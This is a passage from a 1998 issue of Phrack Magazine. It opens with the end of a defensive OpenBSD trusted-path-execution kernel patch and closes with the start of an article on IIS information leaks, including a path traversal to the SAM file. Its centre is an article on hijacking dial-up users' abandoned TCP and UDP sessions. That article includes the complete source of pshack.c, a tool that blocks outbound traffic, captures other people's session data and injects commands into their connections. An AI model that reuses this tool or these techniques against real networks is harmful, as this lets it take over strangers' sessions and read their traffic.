syscallarg(uid_t *) list;

} */ *uap = v;

register struct pcred *pc = p‑>p_cred;

register int i;

register uid_t *lp;

/*

* The only thing a non root user can do is check the status of the * ld.so environment protection. This is necessary because ld.so * runs without elevated privilidges and needs to check this. */

if (suser(pc‑>pc_ucred, &p‑>p_acflag) && SCARG(uap, mode) != TPE_LDCHECK_S) {

return (EPERM);

}

switch (SCARG(uap, mode))

{

case TPE_ADD:

if (tpe_add(SCARG(uap, candidate)) == ACK) {

return (0);

}

else

{

return (ENOSPC); /* Ugh. Best we can do. */

}

case TPE_REMOVE:

if (tpe_remove(SCARG(uap, candidate)) == ACK) {

return (0);

}

else

{

return (ENOSPC); /* Ugh. */

}

case TPE_SHOW:

lp = SCARG(uap, list);

if (lp == NULL)

{

return (ENOSPC);

}

else

{

for (i = 0; i < TPE_ACL_SIZE; i++) {

lp[i] = tpe_acl[i];

}

return (0);

}

case TPE_LDCHECK_E:

tpe_ld_check = 1;

return (0);

case TPE_LDCHECK_D:

tpe_ld_check = 0;

return (0);

case TPE_LDCHECK_S:

lp = SCARG(uap, list);

if (lp == NULL)

{

return (ENOSPC);

}

else /* XXX ‑ sysctl would be cleaner. */

{

lp[0] = tpe_ld_check;

return (0);

}

default:

return (ENXIO); /* Ugh. */

}

return (ENXIO);

}

<‑‑>

<++> TPE/Core/sys/kern_tpe.h

/*

* $Id: P54‑06,v 1.16 1998/12/10 00:01:28 route Exp $

* Trusted path ACL implementation for OpenBSD 2.4

*

* Copyright (c) 1998 route|daemon9 and Mike D. Schiffman

* All rights reserved.

* Originally published in Phrack Magazine (http://www.phrack.com).

*

* Thanks to nirva for helping me choose an ADT.

*

* Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met:

* 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. *

* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE.

*

* Trusted path ACL implementation for OpenBSD 2.4

*

* For the full write‑up please see Phrack Magazine, issue 54, article 6 * http://www.phrack.com

*

* Overview:

*

* A trusted path/ACL execution implementation for OpenBSD. We consider * a path to be trusted if the parent directory is owned by root and is not * group or world writable. We consider a user to be trusted if she is on * the kernels trust list.

*

* Implementation details:

*

* Inside the kern_exec function, we first check the path for trust, if that * fails, we then check the user's credentials to see if she is able to run * binaries in an untrusted path. Untrusted users are not allowed to execute * programs from untrusted pathes.

*

* The decision was the made to use a static array to hold the trusted IDs * for both convienience and runtime efficiency. We keep the list ordered * after all insertions and deletions, and therefore, we can search the list * (where speed is critical) in a worst case of O(lg N). Compare that with a * sequential search in an ordered list which has a worst case of O(N). *

* The speed in which user ID verification is done is absolutely essential, * as this check will be done for every call to exec that does not originate * from a trusted path. This has the potential to be a huge bottle neck. * This was taken into consideration and the bulk of processing overhead is * offloaded to list initialization and modification.

*/

#ifndef __KERN_TPE_H

#define__KERN_TPE_H

#ifdef _KERNEL

#include <sys/types.h>

#include <sys/cdefs.h>

#include <sys/systm.h>

#include <sys/param.h>

#include <sys/ucred.h>

#include <sys/proc.h>

#endif

/*

* syscall stuff

*/

#define TPE_ADD 0 /* add an entry */

#define TPE_REMOVE 1 /* delete an entry */

#define TPE_SHOW 2 /* show the list */

#define TPE_LDCHECK_E 3 /* enable ld.so environment checking */

#define TPE_LDCHECK_D 4 /* disable ld.so environment checking */

#define TPE_LDCHECK_S 5 /* show ld.so environment check status */

#define TPE_ACL_SIZE 80 /* Shouldn't need to be larger */

#define TPE_INITIALIZER‑1 /* A UID that isn't used */

#define ACK 1 /* positive acknowledgement */

#define NACK ‑1 /* negative acknowledgement */

#define LESS(X, Y) (X < Y)

#define SWAP(X, Y) (X ^= Y, Y ^= X, X ^= Y)

#define COMPSWAP(X, Y) if (LESS(Y, X)) SWAP(X, Y)

/*

* Verify the path. This macro is passed a filled in attr struct via * VOP_GETATTR.

*/

#define TRUSTED_PATH(AT) \

(!(AT.va_mode & (S_IWGRP | S_IWOTH)) && (AT.va_uid == 0))

/*

* Verify the user. This macro is passed the user's ID from the u_cred * struct.

*/

#define TRUSTED_USER(UID) (tpe_verify(UID) == ACK)

uid_t tpe_acl[TPE_ACL_SIZE]; /* trusted user list */

int tpe_acl_candidates; /* number of users on the list */

int tpe_ld_check; /* check ld.so env */

/*

* Initialize the array with default values (TPE_INITIALIZER). */

void

tpe_init __P((

void

));

/*

* Dump the list.

*/

void

tpe_show __P((

void

));

/*

* Attempt to add a candidate to the list. Only fails if the list is full. */

int

tpe_add __P((

uid_t/* candidate user for addition */

));

/*

* Attempt to remove a candidate from the list. Only fails if the entry is * not there.

*/

int

tpe_remove __P((

uid_t /* candidate user for deletion */

));

/*

* Verify a candidate user.

*/

int

tpe_verify __P((

uid_t /* candidate user for verification */

));

/*

* Insertion sort the list.

*/

void

tpe_sort __P((

int, /* list low element */

int /* list high high element */

));

/*

* Locate a uid in the list, standard recursive binary search, running in * worst case of lg N.

*/

int

tpe_search __P((

uid_t, /* candidate user to search for */

int, /* list low element */

int /* list high high element */

));

#endif/* __KERN_TPE_H */

/* EOF */

<‑‑>

<++> PP/Patch/PP‑diff

‑‑‑ ./usr.bin/fstat/fstat.c.origTue Oct 20 10:43:58 1998

+++ ./usr.bin/fstat/fstat.cTue Oct 20 10:47:22 1998

@@ ‑158,6 +158,7 @@

char *memf, *nlistf;

char buf[_POSIX2_LINE_MAX];

int cnt;

+ pid_t __uid;

arg = 0;

what = KERN_PROC_ALL;

@@ ‑248,7 +249,12 @@

else

putchar('\n');

+ __uid = getuid();

for (plast = &p[cnt]; p < plast; ++p) {

+ if (__uid)

+ {

+ if (p‑>kp_eproc.e_pcred.p_ruid != __uid) continue; + }

if (p‑>kp_proc.p_stat == SZOMB)

continue;

dofiles(p);

‑‑‑ ./bin/ps/ps.c.origTue Oct 20 10:48:40 1998

+++ ./bin/ps/ps.cTue Oct 20 10:51:26 1998

@@ ‑112,6 +112,7 @@

dev_t ttydev;

pid_t pid;

uid_t uid;

+ uid_t __uid;

int all, ch, flag, i, fmt, lineno, nentries;

int prtheader, wflag, what, xflg;

char *nlistf, *memf, *swapf, errbuf[_POSIX2_LINE_MAX];

@@ ‑281,6 +282,8 @@

if (!all && ttydev == NODEV && pid == ‑1) /* XXX ‑ should be cleaner */

uid = getuid();

+ __uid = getuid();

+

/*

* scan requested variables, noting what structures are needed, * and adjusting header widths as appropiate.

@@ ‑330,6 +333,20 @@

for (i = lineno = 0; i < nentries; i++) {

KINFO *ki = &kinfo[i];

+ /*

+ * root gets to see the whole proccess list.

+ */

+ if (__uid)

+ {

+ /*

+ * If the process in question is not our own, we do not + * get to see it.

+ */

+ if (kinfo[i].ki_p‑>kp_eproc.e_pcred.p_ruid != __uid) + {

+ continue;

+ }

+ }

if (xflg == 0 && (KI_EPROC(ki)‑>e_tdev == NODEV || (KI_PROC(ki)‑>p_flag & P_CONTROLT ) == 0))

continue;

‑‑‑ ./usr.bin/w/w.c.origTue Oct 20 10:52:02 1998

+++ ./usr.bin/w/w.cTue Oct 20 10:54:46 1998

@@ ‑131,6 +131,7 @@

int ch, i, nentries, nusers, wcmd;

char *memf, *nlistf, *p, *x;

char buf[MAXHOSTNAMELEN], errbuf[_POSIX2_LINE_MAX];

+ uid_t __uid;

/* Are we w(1) or uptime(1)? */

p = __progname;

@@ ‑332,6 +333,14 @@

ep‑>utmp.ut_host + UT_HOSTSIZE ‑ x, x);

p = buf;

}

+ __uid = getuid();

+ if (__uid)

+ (void)printf("%‑*.*s %‑2.2s %‑*.*s ",

+ UT_NAMESIZE, UT_NAMESIZE, ep‑>utmp.ut_name,

+ strncmp(ep‑>utmp.ut_line, "tty", 3) ?

+ ep‑>utmp.ut_line : ep‑>utmp.ut_line + 3,

+ UT_HOSTSIZE, UT_HOSTSIZE, "<skulking about>"); + else

(void)printf("%‑*.*s %‑2.2s %‑*.*s ",

UT_NAMESIZE, UT_NAMESIZE, ep‑>utmp.ut_name, strncmp(ep‑>utmp.ut_line, "tty", 3) ?

@@ ‑339,7 +348,14 @@

UT_HOSTSIZE, UT_HOSTSIZE, *p ? p : "‑");

pr_attime(&ep‑>utmp.ut_time, &now);

pr_idle(ep‑>idle);

‑pr_args(ep‑>kp);

+ if (__uid)

+ {

+ printf("<this n' that>");

+ }

+ else

+ {

+ pr_args(ep‑>kp);

+ }

printf("\n");

}

exit(0);

‑‑‑ ./usr.bin/who/who.c.origTue Aug 19 22:37:21 1997

+++ ./usr.bin/who/who.cTue Oct 20 10:57:04 1998

@@ ‑227,6 +227,7 @@

char state = '?';

static time_t now = 0;

time_t idle = 0;

+ uid_t __uid;

if (show_term || show_idle) {

if (now == 0)

@@ ‑265,8 +266,15 @@

(void)printf(" old ");

}

‑if (*up‑>ut_host)

‑printf("\t(%.*s)", UT_HOSTSIZE, up‑>ut_host);

+ __uid = getuid();

+ if (__uid)

+ {

+ printf("\t<skulking about>");

+ }

+ else if (*up‑>ut_host)

+ {

+ printf("\t(%.*s)", UT_HOSTSIZE, up‑>ut_host);

+ }

(void)putchar('\n');

}

<‑‑>

<++> TPE/Core/Patch/ld.so‑diff

‑‑‑ gnu/usr.bin/ld/rtld/rtld.c.oldThu Oct 22 20:44:52 1998

+++ gnu/usr.bin/ld/rtld/rtld.cSat Oct 24 16:44:00 1998

@@ ‑39,6 +39,8 @@

#include <sys/resource.h>

#include <sys/errno.h>

#include <sys/mman.h>

+#include <sys/syscall.h>

+#include "/usr/src/sys/sys/kern_tpe.h"

#ifndef MAP_COPY

#define MAP_COPYMAP_PRIVATE

#endif

@@ ‑150,7 +152,9 @@

static uid_tuid, euid;

static gid_tgid, egid;

static intcareful;

+static inttpe_ld_strip;

static intanon_fd = ‑1;

+static uid_t list[TPE_ACL_SIZE];

struct so_map*link_map_head, *main_map;

struct so_map**link_map_tail = &link_map_head;

@@ ‑271,7 +275,20 @@

careful = (uid != euid) || (gid != egid);

‑if (careful) {

+ if (syscall(SYS_tpe_adm, TPE_LDCHECK_S, ‑1, list) == ‑1) + {

+ fprintf(stderr, "Unknown internal error\n"); /* should NOT fail */

+ exit(EXIT_FAILURE);

+ }

+ if (list[0] && uid)

+ {

+ if (getenv("LD_PRELOAD") || getenv("LD_LIBRARY_PATH")) + {

+ fprintf(stderr, "Your environment contains illegal variables which are being stripped out for the execution of this program.\n"); + }

+ tpe_ld_strip = 1;

+ }

+if (careful || tpe_ld_strip) {

unsetenv("LD_LIBRARY_PATH");

unsetenv("LD_PRELOAD");

}

<‑‑>

Scavenging Connections On Dynamic-IP Networks

‑‑‑[ Phrack Magazine Volume 8, Issue 54 Dec 25th, 1998, article 07 of 12

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ Scavenging Connections On Dynamic‑IP Networks

‑‑‑‑‑‑‑‑[ Seth McGann <smm@wpi.edu> (www.el8.org) 11.29.98

‑‑‑‑[ Purpose

This paper will highlight a potentially serious loophole in networks that rely on dynamic IP assignment. More specifically, dial‑up dynamic IP assignment provided by almost every Internet Service Provider. This problem will allow the unauthorized use of the previous host's connections, for instance, in progress telnet and ftp control sessions. This issue is reminiscent of the problem where terminal servers would sometimes provide an already logged in session to a user lucky enough to call precisely after a forced disconnect due to line noise or other outside factor.

‑‑‑‑[ The Problem

To perform this feat we rely on some well know concepts, usually employed for non‑blind spoofing or session hijacking. First, we have to understand what a connection looks like after an abrupt loss of service. The key point is that the connection does not simply disappear, because there is no way for the disconnected host to notify the remote end that it has lost its link. If the remote end tries to send more data and there is no host available, the upstream router will generate an ICMP unreachable and the connection will be terminated. If another dial‑up user connects before the remote end has sent any more data the story is different. For a TCP based connection, the kernel will see a packet going to an unconnected port, usually with PUSH and ACK set or simply ACK, and will generate a RST, ending the connection. For an incident UDP packet, an ICMP unreachable is generated. Either way the connection will evaporate.

‑‑‑‑[ The Solution

Solving the problem is twofold. We must first prevent the kernel from killing the connections and second we must make sure the remote end knows we are still alive, to prevent timeouts. For UDP the answer is very simple. As long as we block outbound ICMP unreachable packets the remote end won't disconnect. Application timeouts must be dealt with, of course. For TCP we have a bigger problem, since the connections will die if not responded to. To prevent our poisonous RST packets from reaching the remote side we simply block all outbound TCP traffic. To keep the dialogue going, we simply ACK all incident PUSH|ACK packets and increment the ACK and SEQ numbers accordingly. We recover data from packets with the PUSH flag set. Additionally we can send data back down the connection by setting the PUSH and ACK flags on our outbound packets.

‑‑‑‑[ Implementation

To stop our kernel from killing the latent connections, we first block all outbound traffic. Under linux a command such as the following would be effective:

/sbin/ipfwadm ‑O ‑a deny ‑S 0.0.0.0/0 ‑P all ‑W ppp0

Now, no RST packets or ICMP will get out. We are essentially turning off kernel networking support and handling all the details ourselves. This will not allow us to send using raw sockets, unfortunately. SOCK_PACKET could be used, but in the interests of portability the firewall is simply opened to send a packet and then closed. To be useful on a larger number of platforms, libpcap 0.4 was used for pulling packets off the wire and Libnet 0.8b was used for putting them back again. The program itself is called pshack.c because that's basically all it does. Additionally, it will allow you respond to in progress connections just in case you find a root shell. It will also accept inbound connections, and allow you to reply to them. Note, this will only work on Linux right now, due to the differences in handling of the firewall. This is very minor and will be fixed soon. It should compile without incident on RedHat 5.1 or 4.2 and on Slackware as well, given one change to the ip firewall header file, namely taking out the #include <linux/tcp.h> line.

‑‑‑‑[ Conclusions

Using this program it is easy to scavenge telnet and ftp control sessions, or basically any low traffic, idle connection. Grabbing ICQ sessions is a good example of a UDP based scavenge. Obviously, streaming connections, such as ftp data will be ICMP to death before they can be scavenged. It's interesting to note that hosts that drop ICMP unreachable packets, for fear of forged unreachable packets, are particularly vulnerable as they will not lose the connection as quickly.

Required:

libpcap 0.4 ‑> ftp://ftp.ee.lbl.gov/libpcap.tar.Z

Libnet 0.8b ‑> http://www.infonexus.com/~daemon9/Projects/Libnet/

<++> scavenge/pshack.c

/* ‑ PshAck.c ‑ Attempts to scavenge connections when you dial up an ISP.

* Author: Seth McGann <smm@wpi.edu> / www.el8.org (Check papers section) * Date: 11/29/98

* Greets: dmess0r,napster,awr,all things w00w00,#203

* Version: 0.3

*

* Usage:

* 1. Dial up your ISP and start pshack up.

* 2. If you are lucky you will see connections you did not * make :)

* 3. Repeat the procedure.

* Options:

* ‑i: The interface

* ‑l: Link offset

* ‑s: Your source IP

*

* Compiling: 'gcc pshack.c ‑o pshack ‑lnet ‑lpcap' should work given you have * libpcap and Libnet installed properly.

*

* libpcap 0.4 : ftp://ftp.ee.lbl.gov/libpcap.tar.Z

* Libnet 0.8b: http://www.infonexus.com/~daemon9/Projects/Libnet/

*

* Have fun!

*/

#define __BSD_SOURCE

#include <netinet/udp.h>

#define __FAVOR_BSD

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <unistd.h>

#include <syslog.h>

#include <sys/time.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <net/if.h>

#include <libnet.h>

#include <pcap.h>

#include <netinet/ip_fw.h>

#include <setjmp.h>

/* #define DEBUGIT */

#ifdef DEBUGIT

#define DEFAULT_INTERFACE "eth1"

#define DEFAULT_OFFSET 14

#else

#define DEFAULT_INTERFACE "ppp0" /* Default is PPP with no linklayer */

#define DEFAULT_OFFSET 0

#endif

struct conn {

u_int type;

u_long src,dst,seq,ack;

u_short sport,dport;

};

void clean_exit(int);

void time_out(int);

void usage(char *);

void dump_packet( u_char *, int );

int update_db( u_char *, int, struct conn*);

void dump_db (struct conn*);

char errbuf[2000];

sigjmp_buf env;

int

main (int argc, char **argv) {

struct ip *ip_hdr;

struct tcphdr *tcp_hdr;

struct udphdr *udp_hdr;

struct ip_fw fw;

struct ifreq ifinfo;

struct pcap_pkthdr ph;

pcap_t *pd;

u_long local=0,seq,ack;

u_short flags=0;

u_char *d_ptr,*packet;

u_char *pbuf=malloc(TCP_H+IP_H+500);

char iface[17],sendbuf[500];

int osock,sfd,linkoff,i,datalen,newsize,dbsize=0; struct conn conn[100]; /* WAY more than enough */

char arg;

fd_set rfds;

struct timeval tv;

int retval;

char user[500];

strcpy(iface,DEFAULT_INTERFACE); linkoff=DEFAULT_OFFSET;

while((arg = getopt(argc,argv,"i:s:l:")) != EOF){ switch(arg) {

case 's':

local=inet_addr(optarg);

break;

case 'i':

strncpy(iface,optarg,16);

break;

case 'l':

linkoff=atoi(optarg);

break;

default:

usage(argv[0]);

break;

}

}

printf("* Blocking till %s comes up *\n",iface);

do {pd=pcap_open_live(iface,1500,0,500,errbuf);}while(!pd);

printf("* Configuring Raw Output *\n"); osock=open_raw_sock(IPPROTO_RAW);

if (osock<0)perror("socket()"),exit(1); strcpy(ifinfo.ifr_ifrn.ifrn_name,iface); if(ioctl(osock,SIOCGIFFLAGS,&ifinfo)<0)perror("ioctl()"),exit(1); if(ioctl(osock,SIOCSIFFLAGS,&ifinfo)<0)perror("ioctl()"),exit(1); if(ioctl(osock,SIOCGIFADDR,&ifinfo)<0)perror("ioctl()"),exit(1);

bcopy(&ifinfo.ifr_addr.sa_data[2],&local,4);

printf("* Address: %s\n",host_lookup(local,0));

printf("* Blocking Outbound on %s *\n",iface); sfd=socket(AF_INET,SOCK_RAW,IPPROTO_RAW);

if(sfd<0) perror("socket()"),exit(1);

bzero(&fw,sizeof(fw));

strcpy(fw.fw_vianame,iface);

#ifdef DEBUGIT

fw.fw_flg=IP_FW_F_ICMP; if(setsockopt(sfd,IPPROTO_IP,IP_FW_INSERT_OUT,&fw,sizeof(fw))<0) perror("setsockopt()"),exit(1);

fw.fw_flg=IP_FW_F_TCP;

fw.fw_nsp=1;

fw.fw_pts[0]=666;

#endif if(setsockopt(sfd,IPPROTO_IP,IP_FW_INSERT_OUT,&fw,sizeof(fw))<0) perror("setsockopt()"),exit(1);

signal(SIGTERM,clean_exit);

signal(SIGINT,clean_exit);

signal(SIGALRM,time_out);

printf("* Entering Capture Loop *\n\n");

printf("* Commands [1] Dump databese\n"

" [2] Send on connection <n> Ex: 2 1 ls ‑al\n" " [3] Exit\n\n");

sigsetjmp(env,1);

FD_ZERO(&rfds);

FD_SET(0, &rfds);

tv.tv_sec = 0;

tv.tv_usec = 0;

retval = select(1, &rfds, NULL, NULL, &tv);

if (retval) {

retval=read(1,user,sizeof(user));

user[retval]=0;

switch(user[0]) {

case '1':

dump_db(conn);

break;

case '2':

i=atoi(&user[2]);

if (i > dbsize) {

printf("* Invalid connection index) *\n"); break;

}

build_ip(TCP_H,

101,

0,

IP_DF,

128,

IPPROTO_TCP,

local,

htonl(conn[i].src),

NULL, 0, pbuf);

build_tcp(conn[i].dport,

conn[i].sport,

conn[i].seq,

conn[i].ack,

TH_PUSH|TH_ACK, 31000, 0,user+4,strlen(user+4), pbuf + IP_H);

do_checksum(pbuf, IPPROTO_TCP, TCP_H+strlen(user+4)); setsockopt(sfd,IPPROTO_IP,IP_FW_DELETE_OUT,&fw,sizeof(fw)); write_ip(osock, pbuf, TCP_H + IP_H + strlen(user+4)); setsockopt(sfd,IPPROTO_IP,IP_FW_INSERT_OUT,&fw,sizeof(fw));

printf("Sent: %s\n",user+4);

break;

case '3':

clean_exit(1);

break;

default:

break;

}

}

alarm(1);

for(;packet=pcap_next(pd,&ph);) {

ip_hdr = (struct ip *)(packet + linkoff);

switch(ip_hdr‑>ip_p) {

case IPPROTO_TCP:

tcp_hdr=(struct tcphdr*)(((char*)ip_hdr)+(4*ip_hdr‑>ip_hl)); dump_packet(packet,linkoff);

#ifdef DEBUGIT

if ((ntohl(ip_hdr‑>ip_src.s_addr) != local) && ntohs(tcp_hdr‑>th_dport)==666) {

#else

if (ntohl(ip_hdr‑>ip_src.s_addr) != local) {

#endif

newsize=update_db(packet, linkoff, conn);

if(newsize>dbsize) {

printf("New Connect:\n"); dbsize=newsize;}

if (tcp_hdr‑>th_flags&TH_PUSH || (tcp_hdr‑>th_flags&TH_SYN && tcp_hdr‑>th_flags&TH_ACK)) { datalen=ntohs(ip_hdr‑>ip_len)‑IP_H‑TCP_H;

if(!datalen) datalen++;

seq=ntohl(tcp_hdr‑>th_ack); ack=ntohl(tcp_hdr‑>th_seq)+datalen;

flags=TH_ACK;

} else if(tcp_hdr‑>th_flags&TH_SYN) { seq=get_prand(PRu32);

ack=ntohl(tcp_hdr‑>th_seq)+1;

flags=TH_SYN|TH_ACK;

}

if(flags) {

build_ip(TCP_H,

101,

0,

IP_DF,

128,

IPPROTO_TCP,

local,

ip_hdr‑>ip_src.s_addr,

NULL, 0, pbuf);

build_tcp(ntohs(tcp_hdr‑>th_dport), ntohs(tcp_hdr‑>th_sport),

seq,

ack,

flags, 31000, 0, NULL, 0, pbuf + IP_H);

do_checksum(pbuf, IPPROTO_TCP, TCP_H); setsockopt(sfd,IPPROTO_IP,IP_FW_DELETE_OUT,&fw,sizeof(fw)); write_ip(osock, pbuf, TCP_H + IP_H); setsockopt(sfd,IPPROTO_IP,IP_FW_INSERT_OUT,&fw,sizeof(fw)); flags=0; }

}

break;

case IPPROTO_UDP:

dump_packet(packet,linkoff);

break;

default:

break;

}

}

}

void

dump_packet( u_char *packet, int linkoff ) {

struct ip *ip_hdr;

struct tcphdr *tcp_hdr;

struct udphdr *udp_hdr;

u_char *d_ptr;

u_int i;

ip_hdr = (struct ip *)(packet + linkoff);

switch (ip_hdr‑>ip_p) {

case IPPROTO_TCP:

tcp_hdr=(struct tcphdr*)(((char*)ip_hdr)+(4*ip_hdr‑>ip_hl));

printf("********************\n");

printf("TCP: %s.%d‑>%s.%d SEQ: %u ACK: %u\n "

"Flags: %c%c%c%c%c%c Data Len: %d\n", host_lookup(ip_hdr‑>ip_src.s_addr,0), ntohs(tcp_hdr‑>th_sport), host_lookup(ip_hdr‑>ip_dst.s_addr,0), ntohs(tcp_hdr‑>th_dport),

ntohl(tcp_hdr‑>th_seq),

ntohl(tcp_hdr‑>th_ack),

(tcp_hdr‑>th_flags & TH_URG) ? 'U' : '‑', (tcp_hdr‑>th_flags & TH_ACK) ? 'A' : '‑', (tcp_hdr‑>th_flags & TH_PUSH) ? 'P' : '‑', (tcp_hdr‑>th_flags & TH_RST) ? 'R' : '‑', (tcp_hdr‑>th_flags & TH_SYN) ? 'S' : '‑', (tcp_hdr‑>th_flags & TH_FIN) ? 'F' : '‑', ntohs(ip_hdr‑>ip_len)‑IP_H‑TCP_H);

d_ptr=packet+linkoff+TCP_H+IP_H;

for(i=0;i<(ntohs(ip_hdr‑>ip_len)‑IP_H‑TCP_H);i++) if (d_ptr[i]=='\n')

printf("\n");

else if (d_ptr[i]>0x1F && d_ptr[i]<0x7F) printf("%c",d_ptr[i]);

else

printf (".");

printf("\n");

break;

case IPPROTO_UDP:

udp_hdr=(struct udphdr*)(((char*)ip_hdr) + (4 * ip_hdr‑>ip_hl)); printf("********************\n");

printf("UDP: %s.%d‑>%s.%d Data Len: %d\n", host_lookup(ip_hdr‑>ip_src.s_addr,0), ntohs(udp_hdr‑>uh_sport), host_lookup(ip_hdr‑>ip_dst.s_addr,0), ntohs(udp_hdr‑>uh_dport), ntohs(ip_hdr‑>ip_len)‑IP_H‑UDP_H);

d_ptr=packet+linkoff+UDP_H+IP_H; for(i=0;i<(ntohs(udp_hdr‑>uh_ulen)‑UDP_H);i++) if (d_ptr[i]=='\n')

printf("\n");

else if (d_ptr[i]>0x19 && d_ptr[i]<0x7F) printf("%c",d_ptr[i]);

else

printf(".");

printf("\n");

break;

default:

/* We ignore everything else */

break;

}

}

void

clean_exit(int val) {

int sfd,p=0;

sfd=socket(AF_INET,SOCK_RAW,IPPROTO_RAW);

if (sfd<0) perror("socket()"),exit(1); if(setsockopt(sfd,IPPROTO_IP,IP_FW_FLUSH_OUT,&p,sizeof(p))<0) perror("setsockopt()"),exit(1);

exit(0);

}

void

usage(char *arg) {

printf("%s: [options]\n"

" ‑i: The interface\n"

" ‑l: Link offset\n"

" ‑s: Your source IP\n\n",arg);

exit(0);

}

void

dump_db (struct conn *conn) {

int i;

for(i=0;conn[i].type;i++)

if(conn[i].type==IPPROTO_TCP)

printf("%d: TCP: %s.%d‑>%s.%d SEQ: %u ACK: %u\n", i, host_lookup(htonl(conn[i].src),0),conn[i].sport, host_lookup(htonl(conn[i].dst),0), conn[i].dport, conn[i].seq,conn[i].ack);

else if(conn[i].type==IPPROTO_UDP)

printf("%d: UDP: %s.%d‑>%s.%d\n",

i, host_lookup(htonl(conn[i].src),0),conn[i].sport, host_lookup(htonl(conn[i].dst),0), conn[i].dport); else break;

}

int

update_db( u_char *packet, int linkoff, struct conn *conn) { struct ip *ip_hdr;

struct tcphdr *tcp_hdr;

struct udphdr *udp_hdr;

int i=0;

ip_hdr = (struct ip *)(packet + linkoff);

switch(ip_hdr‑>ip_p) {

case IPPROTO_TCP:

tcp_hdr=(struct tcphdr*)(((char*)ip_hdr)+(4*ip_hdr‑>ip_hl));

for(i=0;conn[i].type;i++)

if(conn[i].type==IPPROTO_TCP) if(ip_hdr‑>ip_src.s_addr==htonl(conn[i].src)) if(ip_hdr‑>ip_dst.s_addr==htonl(conn[i].dst)) if(ntohs(tcp_hdr‑>th_sport)==conn[i].sport) if(ntohs(tcp_hdr‑>th_dport)==conn[i].dport) break;

if(conn[i].type) {

conn[i].seq=ntohl(tcp_hdr‑>th_ack); conn[i].ack=ntohl(tcp_hdr‑>th_seq); }

else {

conn[i].type=IPPROTO_TCP; conn[i].src=ntohl(ip_hdr‑>ip_src.s_addr); conn[i].dst=ntohl(ip_hdr‑>ip_dst.s_addr); conn[i].sport=ntohs(tcp_hdr‑>th_sport); conn[i].dport=ntohs(tcp_hdr‑>th_dport); conn[i].seq=ntohl(tcp_hdr‑>th_ack); conn[i].ack=ntohl(tcp_hdr‑>th_seq); }

break;

case IPPROTO_UDP:

udp_hdr=(struct udphdr*)(((char*)ip_hdr)+(4*ip_hdr‑>ip_hl));

for(i=0;conn[i].type;i++)

if(conn[i].type==IPPROTO_TCP) if(ntohl(ip_hdr‑>ip_src.s_addr)==conn[i].src) if(ntohl(ip_hdr‑>ip_dst.s_addr)==conn[i].dst) if(ntohs(udp_hdr‑>uh_sport)==conn[i].sport) if(ntohs(udp_hdr‑>uh_dport)==conn[i].dport) break;

if(!conn[i].type) {

conn[i].type=IPPROTO_UDP; conn[i].src=ntohl(ip_hdr‑>ip_src.s_addr); conn[i].dst=ntohl(ip_hdr‑>ip_dst.s_addr); conn[i].sport=ntohs(udp_hdr‑>uh_sport); conn[i].dport=ntohs(udp_hdr‑>uh_dport); }

break;

default:

/* We Don't care */

break;

}

return i;

}

void

time_out(int blank) {

alarm(0);

siglongjmp(env,1);

}

/* EOF */

<‑‑>

NT Web Technology Vulnerabilities

‑‑‑[ Phrack Magazine Volume 8, Issue 54 Dec 25th, 1998, article 08 of 12

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ NT Web Technology Vulnerabilities

‑‑‑‑‑‑‑‑[ rain.forest.puppy / [WT] <rfpuppy@iname.com>

*Note: most of the vulnerabilities in this document have NOT been made public; they were discovered by rain.forest.puppy, or other members of WT. Lots of new toys out there on the Internet lately. Seems like the web is the way to go, and every software spigot is demanding they be 'web‑enabled'. A lot are reinventing the wheel, bundling sub‑standard web servers to serve up their HTML and Java interface.

But this article isn't about them. There's too many, and they're to easy to use as vulnerable targets. It's much more fun to find the needle in the haystack, so I'm going to focus on some more common setups. On to the show.

‑‑‑‑[ IIS 4.0

IIS is not too bad as a web server. It still doesn't compare to Apache, but it has flexible scripting and server‑side abilities. But, of course, everything has its price...

One interesting problem (and probably the only one that may be previously published at the time of this writing) is that appending an ".idc" extension to the end of a URL will cause IIS installations to try to run the so‑called .IDC through the database connector .DLL. If the .IDC doesn't exist, than it returns a rather informative page stating that it can't open %documentroot%\<bogus name>.idc. For example:

"Cannot open c:\inetpub\wwwroot\index.html.idc"

Wow, absolute paths on the server. Very interesting. What good does this do? Well, it gives you some insight and hints. If you're trying to exploit CGI or other server‑based programs, knowing what drive you're on when trying to access outside documents blindly helps a lot. For example, if the IDC query came back:

f:\webs\1\index.html.idc

then you know you'll probably have to specify 'c:\' to get to any Windows NT system files; you can't do silly stuff like:

../../../../winnt/system/repair/sam._

since you're doing relative addressing, and staying on drive F. Another common return is something like"

"Cannot open d:\20x.140.3x.25\index.html.idc"

Where the IP address is the full IP address of the webserver. This usually indicates that the site is on a system that's probably hosting multiple websites.

Also, usually the site that's based in \inetpub\wwwroot is the 'default' site, and may have other things associated with it (like sample files, etc... We'll get to these later). This is important to remember.

‑‑‑‑[ FrontPage Webbots

A really quick recap on how webbots work: Frontpage inserts some HTML comments that specify the parameters of the webbot. Then, the form is submitted to /_vti_bin/shtml.dll, and the URL of the page is given. shtml.dll reads through the given page, and interprets the webbot/HTML comment code.

